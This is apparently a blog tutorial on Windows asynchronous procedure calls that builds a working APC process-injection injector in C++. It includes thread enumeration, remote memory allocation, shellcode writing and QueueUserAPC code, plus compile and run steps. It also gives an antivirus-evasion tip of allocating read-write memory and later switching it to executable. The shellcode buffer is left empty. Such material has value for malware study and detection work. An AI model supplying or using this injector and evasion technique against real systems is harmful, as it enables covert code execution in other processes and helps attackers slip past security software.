Introduction

In this blog post, I will explain the Windows internal concept called asynchronous procedure call (APC) and how we can use this mechanism to write a process injection malware.

You should know basic C++ programming as well as the basics of malware development (process injection).

APC Theory

An Asynchronous Procedure Call (APC) is a function that runs asynchronously in the context of a specific thread.

The important part is that an APC is queued to a thread rather than executed immediately. This allows Windows to schedule work to be performed by a thread at a later point.

A common use for APCs is asynchronous I/O. For example, a program might start a network operation. This would take anywhere from tens to hundreds of milliseconds. The CPU can’t idle just to wait for this function to finish, that’s a huge waste of time. So instead it continues running the rest of the code. Once the asynchronous operation finishes, Windows will queue up an APC containing a completion routine to the thread initiating the operation.

However, for the APC to run, the thread must enter an alertable state. Certain functions such as SleepEx can put a thread into an alertable wait, allowing queued APCs to be delivered.

The main idea is that APCs allow a thread to perform work at a later point (due to waiting for an asynchronous operation), without requiring the creation of a new thread.

APC Injection

Theory

APC injection is very similar to thread hijacking (which I will cover in a future post). However, I’m going to assume no prior knowledge and explain conceptually how this malware works.

The process involves:

  1. Enumerating Threads - Use CreateToolhelp32Snapshot() to capture a snapshot of all threads in all processes.
  2. Select Thread - We will loop through all threads until we find a thread in our target process.
  3. Allocate Memory - Use VirtualAllocEx() to allocate executable memory in the target process.
  4. Write Shellcode - Use WriteProcessMemory to copy shellcode into allocated memory.
  5. Get Thread Handle - Using OpenThread().
  6. Queue APC - Use QueueUserAPC() to queue our function (shellcode) for asynchronous execution.
  7. Wait for Alertable State - Our shellcode will execute when the thread enters an alertable state.

Target Process

We can create our own alertable process that we can target with our malware:

#include <windows.h>
#include <stdio.h>

int main() { 
	printf("Target Process PID: %lu\n", GetCurrentProcessId());
	printf("Process is now in an alertable state (sleeping)...\n");
	
	SleepEx(INFINITE, TRUE);
	
	return 0;
}

In this code, we print the PID of the process, which we use as the argument for our malware.

The line that really matters is: SleepEx(INFINITE, TRUE);. The second argument TRUE tells windows to put the thread in an alertable state, allowing us to execute our APC function, which will be our malicious shellcode. The function will return once the APC is delivered.

Code

Now let’s write the actual injector.

If you want to understand every single argument, read the Win32 API Docs for every function.

Start off with a basic main function, initializing variables we will need in the future.

#include <windows.h>
#include <tlhelp32.h> // Contains CreateToolhelp32Snapshot()
#include <stdio.h>

const unsigned char buf[] = {};

int main(int argc, char * argv[]) {

	HANDLE hSnapshot, hProcess, hThread;
	LPVOID exec_mem;

	// require target process PID as cli argument
	if (argc != 2) {
		printf("Usage: %s <PID>\n", argv[0]);	
		return 1;
	}

	int pid = atoi(argv[1]);
	printf("Target PID: %d\n", pid);
	
	// rest of the code goes here
	
	return 0;
}

The following section of code demonstrates thread enumeration.

DWORD threadID = 0;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

THREADENTRY32 te = {0};
te.dwSize = sizeof(THREADENTRY32);

if (Thread32First(hSnapshot, &te)) {
	do {
		if (te.th32OwnerProcessID == pid) {
			threadID = te.th32ThreadID;
			break;	
		}	
	} while (Thread32Next(hSnapshot, &te));
}

In this code, we take a snapshot, using CreateToolhelp32SnapShot(). We use TH32CS_SNAPTHREAD to specify that we want threads, and 0 to indicate all processes.

te is a THREADENTRY32 object which stores thread information that we will extract from the snapshot.

Thread32First gets the first thread in the snapshot. We check if the thread is in our target process, and if it is, we have found our target thread. Otherwise, Thread32Next returns the next thread in the snapshot which is stored in te.


Next, we will do normal process injection stuff:

hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid);

exec_mem = VirtualAllocEx(hProcess, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

size_t bytesWritten;
WriteProcessMemory(hProcess, exec_mem, buf, sizeof(buf), &bytesWritten);

DWORD oldprotect = 0;
VirtualProtectEx(hProcess, exec_mem, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldprotect);

hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadID);

As in all process injection malware, we will have to allocate memory (VirtualAllocEx) and write our shellcode (buf) to it (WriteProcessMemory).

One thing to note is that when we initially allocate our memory with VirtualAllocEx, we specify PAGE_READWRITE permissions, then later we use VirtualProtectEx to change the region to an executable protection. We do this because directly assigning RWX permissions is very sus to AV engines; most benign processes don’t need all those permissions.


The final part of our code will be actually queuing the APC:

DWORD apcRes = QueueUserAPC((PAPCFUNC) exec_mem, hThread, 0);

We specify exec_mem, our shellcode, as the APC function to be queued up to our thread. 0 is just an optional parameter we don’t need to worry about.

The full source code can be found on my github.

Compilation & Execution

Compile both the malware and alertable process with cl. Remember to use x64 Native Tools Command Prompt and to paste in your shellcode.

cl -O2 /GS- /Fe:<output_filename>.exe <filename>.cpp

First run the alertable process and get the PID:

> .\alertable_process.exe
Target process PID: 10924
Process is now in an alertable state (sleeping)...

Run apc injector with target PID:

apc_injector.exe 10924

Your shellcode should now execute.

Summary

In this blog post we learned about how APC works and applied it to write an APC injector malware.

Thanks for reading,

https 🤍